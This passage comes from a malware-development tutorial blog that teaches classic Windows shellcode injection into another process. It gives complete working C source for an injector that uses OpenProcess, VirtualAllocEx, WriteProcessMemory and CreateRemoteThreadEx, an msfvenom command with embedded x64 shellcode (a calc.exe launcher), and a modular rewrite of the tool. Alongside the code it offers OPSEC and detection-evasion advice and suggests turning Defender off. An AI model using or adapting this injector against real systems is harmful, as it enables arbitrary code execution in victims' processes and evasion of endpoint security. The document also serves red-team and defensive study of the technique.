Nice. The address reported on the line for the memory allocation is the address where our memory page has been allocated!&#x20;

{% hint style="info" %}
Security solutions typically intercept functions like `VirtualAllocEx`, and see the values/arguments passed to them and the values returned by the functions themselves. In this case, `VirtualAllocEx`, upon successful execution, just returns a pointer to where our memory is allocated to examine them and see if there's anything nefarious going on. Here's some impromptu homework:&#x20;

* It's time for you to become an EDR/AV. Have a program allocate and write some shellcode into itself or another program. Using what you know about `VirtualAllocEx`, inspect the address returned by the function and see if you can reveal the shellcode located there.&#x20;
* Tip: Have the program hang after writing your shellcode to the allocated buffer (by using a function like `getchar`, [`__debugbreak`](https://learn.microsoft.com/en-us/cpp/intrinsics/debugbreak?view=msvc-170), or something) so that you have enough time to debug/analyze the program and its memory.
* Tip: Although there are many ways you can debug the program; I'd suggest utilizing the native debugger in Visual Studio. It's actually quite a fantastic debugger and has a load of features which are worth getting used to.
  {% endhint %}

Now, we can finally write the contents of our shellcode into this newly created buffer. In order to do that, we shall utilize the `WriteProcessMemory` function.&#x20;

<figure><img src="/files/TXn73XRmNk9vUfnTaqOJ" alt=""><figcaption><p><code>WriteProcessMemory</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">MSDN</a></p></figcaption></figure>

The first parameter is the handle to our process, `ProcessHandle`.

```c
WriteProcessMemory(
    ProcessHandle, // hProcess
    ...
);
```

This second parameter (`lpBaseAddress`), is the `Buffer` that we've created and allocated to the process memory. As we can see from the documentation:

<figure><img src="/files/MiJ4WwuiwvwK0UrH4kvA" alt=""><figcaption><p><code>lpBaseAddress</code> parameter</p></figcaption></figure>

```c
WriteProcessMemory(
    ProcessHandle, // hProcess
    Buffer,        // lpBaseAddress
    ...
);
```

The `lpBuffer` is the next parameter. This is where we specify the actual contents of our shellcode. If we had some illegitimate shellcode or something random, you might be under the impression that it would shred our process memory and cause it to crash. And that's definitely true but it won't ever happen with a call to `VirtualAllocEx`. Why? It's because `VirtualAllocEx` doesn't actually write the contents of your payload into the memory. This is why we're able to allocate shellcode, as borked as it may be, without our program crashing.

{% hint style="info" %}
For those who are new, a tip to help you think about `VirtualAllocEx` and `WriteProcessMemory`: think of the buffer that you create with `VirtualAllocEx` as a canvas. You defined how big it is, what permissions it has, the memory allocation type, etc. Then, you can think of `WriteProcessMemory` as the step in which you actually write whatever (or "paint" in this analogy) you want to that allocated buffer.
{% endhint %}

```c
WriteProcessMemory(
    ProcessHandle, // hProcess
    Buffer,        // lpBaseAddress
    Shellcode,     // lpBuffer
    ...
);
```

The `nSize` argument is the size of our shellcode, which we've already defined as `ShellcodeSize`:

```c
WriteProcessMemory(
    ProcessHandle, // hProcess
    Buffer,        // lpBaseAddress
    Shellcode,     // lpBuffer
    ShellcodeSize, // nSize (you could also just do "sizeof(Shellcode)" here)
    ...
);
```

And lastly, we have an outputted parameter called `lpNumberOfBytesWritten`. This just stores the number of bytes we've written in the memory region. You can choose to add this if you want, we'll just set it to `NULL`, which will just cause the parameter to be ignored.

```c
WriteProcessMemory(
    ProcessHandle, // hProcess
    Buffer,        // lpBaseAddress
    Shellcode,     // lpBuffer
    ShellcodeSize, // nSize (you could also just do sizeof(Shellcode) here)
    NULL           // lpNumberOfBytesWritten
);
```

And just like that, we've set up the `WriteProcessMemory` function. Let's add in a quick little print statement indicating such.

```c
if (!WriteProcessMemory(ProcessHandle, Buffer, Shellcode, ShellcodeSize, NULL)) {
    PRINT_ERROR("WriteProcessMemory");
    return EXIT_FAILURE;
}
OKAY("[0x%p] [RWX] wrote %zu-bytes to the allocated buffer", Buffer, ShellcodeSize);
```

And now, if we try to run this, we can see the following output:

<figure><img src="/files/63iaOH9j3H7fIYP16clK" alt=""><figcaption><p>Wrote our "payload" into allocated buffer!</p></figcaption></figure>

All that's left for us to do now is to create a thread to run our payload!

### Creating a Thread&#x20;

In this section, we're going to be creating a thread with the `CreateRemoteThreadEx` function. If we take a look at the [return value](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex#return-value) of this function, we can see that it's practically the same thing as our `OpenProcess` function (i.e., it returns a handle type); except in this case, we're dealing with threads.

<figure><img src="/files/qDhP71E5VvisygDNz78y" alt=""><figcaption><p>Return value of <code>CreateRemoteThreadEx</code></p></figcaption></figure>

Because we know that this function returns a handle to the new thread, we'll make our `ThreadHandle` variable store this return value:

```c
ThreadHandle = CreateRemoteThreadEx();
```

Let's look at the syntax for this function.

<figure><img src="/files/u5bUFi7v6BvALk02bJyP" alt=""><figcaption><p><code>CreateRemoteThreadEx</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex">MSDN</a></p></figcaption></figure>

Now, I know. There are like 12 duovigintillion parameters for this function. However, fret not—most of them are going to be zero (`0`) or `NULL`. We know the drill by now, we'll fill out what we know, and then consult the documentation for what we don't know.

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle, // hProcess
    ...
);
```

The `lpThreadAttributes`, as we can see from the documentation, is just a pointer to the [`SECURITY_ATTRIBUTES`](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560\(v=vs.85\)) structure. This is just to specify a [security descriptor](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptors) for the new thread; also determines if child processes can inherit the returned handle. If we set this to `NULL`, the thread will get a default security descriptor and the handle cannot be inherited.&#x20;

<figure><img src="/files/zjPURwoGYdRPjJHPNyhC" alt=""><figcaption><p>Documentation for the <code>lpThreadAttributes</code> parameter</p></figcaption></figure>

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle, // hProcess
    NULL,          // lpThreadAttributes
    ...
);
```

For the `dwStackSize` argument, we can set it to `0` to let the thread use a default [stack size](https://learn.microsoft.com/en-us/windows/win32/procthread/thread-stack-size) for the executable.&#x20;

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle, // hProcess
    NULL,          // lpThreadAttributes
    0,             // dwStackSize
    ...
);
```

This next section's going to take a bit to explain, but it's pretty cool, nonetheless. So, I'll write the code here, and then we can explain what's going on.

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle,                 // hProcess
    NULL,                          // lpThreadAttributes
    0,                             // dwStackSize
    (LPTHREAD_START_ROUTINE)Buffer // lpStartAddress
    ...
);
```

Okay, just relax. I know your heart rate just quadrupled, and you can practically ski on the clumps of hair you've pulled out of your scalp from seeing this random line of code seemingly come from nowhere, but *breathe*. We'll figure this out. So, firstly, let's discuss the parameter itself, before delving into what we're supplying as an argument. Let's consult the documentation.

<figure><img src="/files/fWK5XszR6scB3gu0Pyci" alt=""><figcaption><p><code>lpStartAddress</code></p></figcaption></figure>

This parameter is where we specify the starting address of what we wish to run. We want execution to begin at the buffer that we've created, which at this point, would've had the contents of our shellcode written into it. We typecast this buffer to the `LPTHREAD_START_ROUTINE` to match the expected signature of this parameter.&#x20;

{% hint style="info" %}
However, do note that the `LPTHREAD_START_ROUTINE` typecast *isn't* necessary at all. It's okay if you want to match the expected signature for the function but remember the basics. This parameter is just asking for the address of where the thread should start executing from, which consequently determines what code is going to be run. As long as you supply an address here, i.e., a "`void *remote_buffer`"/"`PVOID RemoteBuffer`" or something, it should work just fine. Time for some impromptu homework:

* See if removing the `LPTHREAD_START_ROUTINE` typecast on our `RemoteBuffer` variable does anything to/for our program. Does it still work as intended? Does the compiler complain? Will you live?&#x20;
  {% endhint %}

For the next parameter (`lpParameter`), we can just set it to `NULL` since we don't have any arguments that we're passing to the thread function (`lpStartAddress`). When we talk about [DLL Injection](/nest/mal/dev/inject/dll-injection.md), this argument *will* actually be used: it'll be an argument for `LoadLibrary`, but that's a topic for another time. Just know that yes, it *could* be an argument that gets used, but in this case, we're not going to since we don't need to.

{% code overflow="wrap" %}

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle,                 // hProcess
    NULL,                          // lpThreadAttributes
    0,                             // dwStackSize
    (LPTHREAD_START_ROUTINE)Buffer // lpStartAddress
    NULL,                          // lpParameter
    ...
);
```

{% endcode %}

The next section is the creation flags we'd wish to specify for our thread. `dwCreationFlags` could be any of these values:

<figure><img src="/files/0bQWWX0dmlqDAFUvM9Tf" alt=""><figcaption><p><code>dwCreationFlags</code> values</p></figcaption></figure>

We see that if we supply `0` here, the thread will run *immediately* after creation. The `CREATE_SUSPENDED` flag could also be a cool thing to mess around with (and spoiler alert, it *is* something we mess with when we talk about thread hijacking), but that's left as an exercise for the reader. We'll supply `0` here since we want our thread to run immediately.&#x20;

{% code overflow="wrap" %}

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle,                 // hProcess
    NULL,                          // lpThreadAttributes
    0,                             // dwStackSize
    (LPTHREAD_START_ROUTINE)Buffer // lpStartAddress
    NULL,                          // lpParameter
    0,                             // dwCreationFlags
    ...
);
```

{% endcode %}

We only have 2 arguments left to supply, we're almost there! The second last parameter of this function, `lpAttributeList`, contains additional parameters for the new thread. We don't care about this for now, so we can just set this to zero (`0`):

{% code overflow="wrap" %}

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle,                 // hProcess
    NULL,                          // lpThreadAttributes
    0,                             // dwStackSize
    (LPTHREAD_START_ROUTINE)Buffer // lpStartAddress
    NULL,                          // lpParameter
    0,                             // dwCreationFlags
    0,                             // lpAttributeList
    ...
);
```

{% endcode %}

And lastly, the final parameter (`lpThreadId`) is where we can set a pointer to the variable that will receive the thread ID (`TID`) of the newly created thread. So, let's set this to the `TID` variable we've created.

{% code overflow="wrap" %}

```c
ThreadHandle = CreateRemoteThreadEx(
    ProcessHandle,                 // hProcess
    NULL,                          // lpThreadAttributes
    0,                             // dwStackSize
    (LPTHREAD_START_ROUTINE)Buffer // lpStartAddress
    NULL,                          // lpParameter
    0,                             // dwCreationFlags
    0,                             // lpAttributeList
    &TID                           // lpThreadId
);
```

{% endcode %}

Leaving us with the following code so far:

{% code title="main.c" %}

```c
#include <stdio.h>
#include <windows.h>

#define OKAY(MSG, ...) printf("[+] "          MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] "          MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) fprintf(stderr, "[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

int main(int argc, char* argv[]) {

    CONST UCHAR Shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90 };
    DWORD  PID              = 0;
    DWORD  TID              = 0;
    PVOID  Buffer           = NULL;
    HANDLE ThreadHandle     = NULL;
    HANDLE ProcessHandle    = NULL;
    SIZE_T ShellcodeSize    = sizeof(Shellcode);

    if (argc < 2) {
        WARN("usage: \"%s\" <PID>", argv[0]);
        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);
    INFO("trying to get a handle to the process (%ld)...", PID);

    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (ProcessHandle == NULL) {
        PRINT_ERROR("OpenProcess");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] got a handle on the process (%ld)!", ProcessHandle, PID);

    Buffer = VirtualAllocEx(ProcessHandle, NULL, ShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (Buffer == NULL) {
        PRINT_ERROR("VirtualAllocEx");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] [RWX] allocated %zu-byte buffer to the target process", Buffer, ShellcodeSize);
        
    if (!WriteProcessMemory(ProcessHandle, Buffer, Shellcode, ShellcodeSize, NULL)) {
        PRINT_ERROR("WriteProcessMemory");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] [RWX] wrote %zu-bytes to the allocated buffer", Buffer, ShellcodeSize);
    
    ThreadHandle = CreateRemoteThreadEx(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)Buffer, NULL, 0, 0, &TID);
    if (ThreadHandle == NULL) {
        PRINT_ERROR("CreateRemoteThreadEx");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] successfully created a thread (%ld)!", ThreadHandle, TID);
    
    [...] /* we're here */
    
    return EXIT_SUCCESS;
    
}
```

{% endcode %}

So, at this point, we *could* run our program, and we'll see that the program will inject into our target process successfully! However, because of the fact that we're using gibberish (or in this case, a bunch of NOPs) as shellcode, the program crashes:

<figure><img src="/files/jZYZ0smW8d7E0NAFEPwH" alt=""><figcaption><p>Pain.</p></figcaption></figure>

So, what we'll do here is generate some valid shellcode from `msfvenom` and try to perform the injection for real. An important thing to note, when it comes to things like OPSEC, is that using any premade/generated shellcode from a popular program like `msfvenom` is a horrific blunder when you're worried about stealth/OPSEC and not getting caught. Chances are that whatever you're using has already been *heavily* signatured and thus, is stupidly easy to catch.&#x20;

{% hint style="info" %}
Even *if* you encrypt your shellcode, let's say a `msvenom` staged/unstaged payload or something, and manage to bypass a security solution, then congratulations! However, that's just the *first* hurdle. You *can* and most likely *will* still get caught in transit between issuing out commands and recieving output; communication as a whole, between you and your target is very prone to getting you caught because of how signatured everything is. Maybe at this point you'd find a way to encrypt the communication channel/tunnel *itself* with SSL/TLS; or better yet, just create your own shellcode and run it using a loader/runner that utilizes best OPSEC practices.
{% endhint %}

You *can* write your very own custom position-independant shellcode (PIC); but that's *way* out of scope for this blog and a bit more advanced. We will tackle it later, for sure. Back on topic, I've added the following (simple) "clean-up" procedure to our program for post-thread creation:

```c
ThreadHandle = CreateRemoteThreadEx(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)Buffer, NULL, 0, 0, &TID);
if (NULL == ThreadHandle) {
    PRINT_ERROR("CreateRemoteThreadEx");
    return EXIT_FAILURE;
}
OKAY("[0x%p] successfully created a thread (%ld)!", ThreadHandle, TID);

INFO("[0x%p] waiting for the thread to finish execution...", ThreadHandle);
WaitForSingleObject(ThreadHandle, INFINITE);
INFO("[0x%p] the thread has finished execution, beginning cleanup...", ThreadHandle);
CloseHandle(ThreadHandle);
INFO("[0x%p] closed the thread handle", ThreadHandle);
CloseHandle(ProcessHandle);
INFO("[0x%p] closed the process handle", ProcessHandle);

/* todo: some more/better house cleaning */

return EXIT_SUCCESS;
```

The [`WaitForSingleObject`](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject) and [`CloseHandle`](https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle) functions are also going to be left as an exercise for you to learn about. It will be really fun for you to seek out what these functions do and learn about them, they're pretty straightforward from the name, but regardless, for these two (2) functions; you're on your own. Also, it's very important that we introduce some house cleaning, which we'll do in the next blog post so that we don't just have opened handles, allocated memory, etc., hanging about. See if you can incorporate some cleanup in your program. :wink:

## Generating Shellcode

I'll be using my [Arch machine](#user-content-fn-13)[^13] to generate the shellcode, it literally doesn't matter what OS you use; we're only interested in one tool for now, `msfvenom` which is part of the [`metasploit`](https://www.metasploit.com/) framework. You could also create your own shellcode if you want. Like I mentioned before, position-independant shellcode, or "[`PIC` shellcode](https://5pider.net/blog/2024/01/27/modern-shellcode-implant-design/)" has been pretty huge recently, but we're going to take the easy route for now, and just generate our own since custom shellcode can get rather advanced rather quickly.&#x20;

{% hint style="danger" %}
Once again, `msfvenom`, its' shellcodes, stagers, and all of that stuff, have been signatured to high oblivion. There are literal peaks on Mars that are put to shame by how high this shit has been blasted by virtually every defensive solution out there. If you use this shellcode without encrypting it, your program will get flagged by Defender during the compilation process—and the probability that your target flags it as well is all but certain. This is why we set an exclusion path or turn Defender off temporarily. We'll discuss ways to bypass Defender in the later sections, but for now, this is how we're doing it.
{% endhint %}

{% code overflow="wrap" %}

```bash
crow@blackbird: ~
ζ ›› msfvenom --platform windows --arch x64 -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f csharp EXITFUNC=thread --var-name=Shellcode
```

{% endcode %}

<figure><img src="/files/sersCdlFZbwYTBGnaq2s" alt=""><figcaption><p>Shellcode generation via <code>msfvenom</code></p></figcaption></figure>

<mark style="background-color:orange;">For the 100th time, remember to make the architecture of your shellcode</mark> <mark style="background-color:orange;"></mark>*<mark style="background-color:orange;">match</mark>* <mark style="background-color:orange;"></mark><mark style="background-color:orange;">the architecture of your program and the target environment</mark>. Also, regarding `EXITFUNC`, you might notice that without this, if you generate shellcode and inject your process, the payload executes but the process has an affinity to crashes. That's because we need to set the `EXITFUNC=thread`. So, let's replace our temporary shellcode with this legitimate shellcode in our program, and after that, we'll run it.

{% code title="main.c" %}

```c
    [...]
    
    CONST UCHAR Shellcode[] = { 
        0xfc,0x48,0x83,0xe4,0xf0,
        0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,
        0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,
        0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,
        0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
        0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,
        0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,
        0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,
        0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,
        0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,
        0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
        0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,
        0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,
        0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,
        0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,
        0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,
        0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,
        0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,
        0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,
        0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,
        0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
        0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
        0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,
        0x64,0x2e,0x65,0x78,0x65,0x20,0x2f,0x63,0x20,0x63,0x61,0x6c,
        0x63,0x2e,0x65,0x78,0x65,0x00 
    };
    
    DWORD  PID              = 0;
    DWORD  TID              = 0;
    PVOID  Buffer           = NULL;
    HANDLE ThreadHandle     = NULL;
    HANDLE ProcessHandle    = NULL;
    SIZE_T ShellcodeSize    = sizeof(Shellcode);
    
    [...]
```

{% endcode %}

## Performing the Injection

Now, we're all set to execute our program. We recompile the program, and after specifying a valid PID to our injector, we can see the results:

<figure><img src="/files/c3U1nKKd0Lm7ElFhCn3P" alt=""><figcaption><p>Mission accomplished!</p></figcaption></figure>

<figure><img src="/files/kUnZkt1F8Dg5cbGEa8gS" alt=""><figcaption><p>Program output</p></figcaption></figure>

And there you go! You've come such a long way and you've learned so much! Seriously, you should be proud of yourself for making it this far. We'll now discuss some common pitfalls that can prohibit you from performing this attack. You can find the source code of this program attached below, or on the [GitHub repository](https://github.com/cr-0w/maldev/tree/main/Process%20Injection/Shellcode%20Injection) that'll house all the code we make in these blogs/videos.

{% file src="/files/uBas6vlWTKXfMMe29JP3" %}
Source code
{% endfile %}

## A Note On Modularity

It's Crow from the future here. I wanted to introduce this concept here because I find myself doing it all the time now whenever I develop something. The concept of separating specific functionality in header files or, when I'm writing `C++`, classes/namespaces. In my opinion, we don't really need to do that here since the program is pretty small with not many moving parts, but just as good practice, and for later when our code becomes huge; thus making it unscalable to program in a single file, let's attempt to make a modular version of this blog post. I'll create three (`3`) files: `main.c`, `injection.c`, and `injection.h`. Here are there contents:

{% code title="injection.h" %}

```c
#pragma once
#include <stdio.h>
#include <windows.h>

#define OKAY(MSG, ...) printf("[+] "          MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] "          MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) fprintf(stderr, "[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                   \
    do {                                                             \
        fprintf(stderr,                                              \
                "[!] [" FUNCTION_NAME "] failed, error: 0x%lx\n"     \
                "[*] %s:%d\n", GetLastError(), __FILE__, __LINE__);  \
    } while (0)

/*!
 * @brief
 *  Injects a target process using the classic shellcode injection method via the WinAPI.
 *
 *  The program starts by getting a valid handle on the target process, allocating a memory
 *  page/buffer within it, writing our payload into that allocated memory, optionally: changing
 *  memory permissions for the buffer to have executable rights on it, and finally, creating
 *  a thread that will run our payload.
 *
 * @param PID
 *  The PID of the target process.
 *
 * @param Payload
 *  The shellcode you wish to inject.
 *
 * @param PayloadSize
 *  The Size of the shellcode.
 *
 * @return Bool
 *  True if successful, false if not.
 */
BOOL ShellcodeInjection(_In_ CONST DWORD PID, _In_ CONST PBYTE Payload, _In_ CONST SIZE_T PayloadSize);

/*!
 * @brief
 *  Prints the technique banner.
 * 
 * @param Void.
 * 
 * @return Void.
 */
VOID PrintBanner(VOID);
```

{% endcode %}

{% code title="injection.c" %}

```c
#include "injection.h"

VOID PrintBanner(VOID) {
    printf(
        "     ______       ____            __      ____       _         __  _                           \n"
        "    / __/ /  ___ / / /______  ___/ /__   /  _/__    (_)__ ____/ /_(_)__  ___                   \n"
        "   _\\ \\/ _ \\/ -_) / / __/ _ \\/ _  / -_) _/ // _ \\  / / -_) __/ __/ / _ \\/ _ \\           \n"
        "  /___/_//_/\\__/_/_/\\__/\\___/\\_,_/\\__/ /___/_//_/_/ /\\__/\\__/\\__/_/\\___/_//_/         \n"
        "                                               |___/                                         \n\n"
        "  /*!                                                                                          \n"
        "   * made with love and a bit of malice <3                                                     \n"
        "   * -> https://www.crow.rip, @cr-0w, crow@crow.rip                                            \n"
        "   *                                                                                           \n"
        "   * disclaimer: I am not the author of this technique, this is just *my* implementation of it.\n"
        "   * warning: I am not responsible for what you do with this program. use this responsibly!    \n"
        "   * enjoy, nerds. lots o' luv.                                                                \n"
        "   */                                                                                        \n\n"
    );
}

BOOL ShellcodeInjection(_In_ CONST DWORD PID, _In_ CONST PBYTE Payload, _In_ CONST SIZE_T PayloadSize) {

    BOOL   State         = TRUE;
    DWORD  TID           = 0;
    DWORD  OldProtection = 0;
    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle  = NULL;
    PVOID  Buffer        = NULL;

    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (ProcessHandle == NULL) {
        PRINT_ERROR("OpenProcess");
        return FALSE; /* no point in continuing if we can't even get a handle on the process */
    }
    OKAY("[0x%p] got a handle on the process (%ld)!", ProcessHandle, PID);

    Buffer = VirtualAllocEx(ProcessHandle, NULL, PayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (Buffer == NULL) {
        PRINT_ERROR("VirtualAllocEx");
        State = FALSE; goto CLEANUP;
    }
    OKAY("[0x%p] [RW-] allocated a buffer with PAGE_READWRITE [RW-] permissions!", Buffer);

    if (!WriteProcessMemory(ProcessHandle, Buffer, Payload, PayloadSize, 0)) {
        PRINT_ERROR("WriteProcessMemory");
        State = FALSE; goto CLEANUP;
    }
    OKAY("[0x%p] [RW-] wrote %zu-bytes to the allocated buffer", Buffer, PayloadSize);

    if (!VirtualProtectEx(ProcessHandle, Buffer, PayloadSize, PAGE_EXECUTE_READ, &OldProtection)) {
        PRINT_ERROR("VirtualProtect");
        State = FALSE; goto CLEANUP;
    }
    OKAY("[0x%p] [R-X] changed buffer's permissions to PAGE_EXECUTE_READ [R-X]", Buffer);

    ThreadHandle = CreateRemoteThreadEx(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)Buffer, NULL, 0, 0, &TID);
    if (ThreadHandle == NULL) {
        PRINT_ERROR("CreateRemoteThreadEx");
        State = FALSE; goto CLEANUP;
    }

    OKAY("[0x%p] successfully created a thread (%ld)!", ThreadHandle, TID);
    INFO("[0x%p] waiting for thread to finish execution...", ThreadHandle);
    WaitForSingleObject(ThreadHandle, INFINITE);
    INFO("[0x%p] thread finished execution, beginning cleanup...", ThreadHandle);

CLEANUP:

    if (ThreadHandle) {
        CloseHandle(ThreadHandle);
        INFO("[0x%p] closed thread handle", ThreadHandle);
    }

    if (ProcessHandle) {
        CloseHandle(ProcessHandle);
        INFO("[0x%p] closed process handle", ProcessHandle);
    }

    if (Buffer) {
        VirtualFree(Buffer, 0, MEM_RELEASE);
        INFO("[0x%p] allocated buffer freed", Buffer);
    }

    return State;

}
```

{% endcode %}

{% code title="main.c" %}

```c
/*
---------------------------------------------------------------------------------------
@culprit: crow
@website: https://www.crow.rip/crows-nest/mal/dev/inject/shellcode-injection
@credits: https://www.crow.rip/crows-nest/mal/dev/inject/shellcode-injection#references
@youtube: https://youtu.be/A6EKDAKBXPs
---------------------------------------------------------------------------------------
*/

#include "injection.h"

#pragma section(".text")
/* placing our payload in the .text section */
/* msfvenom --platform windows --arch x64 -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f csharp EXITFUNC=thread */
__declspec(allocate(".text")) CONST UCHAR Shellcode[] = {
    0xfc,0x48,0x83,0xe4,0xf0,
    0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,
    0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,
    0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,
    0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
    0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,
    0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,
    0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,
    0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,
    0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,
    0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
    0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,
    0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,
    0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,
    0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,
    0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,
    0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,
    0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,
    0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,
    0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
    0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
    0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,
    0x64,0x2e,0x65,0x78,0x65,0x20,0x2f,0x63,0x20,0x63,0x61,0x6c,
    0x63,0x2e,0x65,0x78,0x65,0x00
};

int main(int argc, char* argv[]) {

    PrintBanner();

    if (argc < 2) {
        WARN("usage: \"%s\" [PID]", argv[0]);
        return EXIT_FAILURE;
    }

    if (!ShellcodeInjection(atoi(argv[1]), Shellcode, sizeof(Shellcode))) {
        WARN("shellcode injection failed, exiting...");
        return EXIT_FAILURE;
    }

    OKAY("shellcode injection was successful! exiting...");
    return EXIT_SUCCESS;

}
```

{% endcode %}

## Common Pitfalls

A [crazed lunatic](https://github.com/Lavender-exe) once messaged me; the message showed her following along with this guide and performing her own shellcode injection. "[Yippie!](https://www.youtube.com/watch?v=tKR_l79txOU)", I thought to myself. But alas, the message continued, and with it, *my plight*:

<figure><img src="/files/nXQOcU5l7ryrHpirWezJ" alt=""><figcaption><p>Uh oh, something's wrong...</p></figcaption></figure>

"Strange..." I pondered the state of her process's memory, which looked like it *had* been injected with the generated payload:

<figure><img src="/files/IHbwHsYxCpgCWNgkmBhv" alt=""><figcaption><p>Executing the injection, no process spawns</p></figcaption></figure>

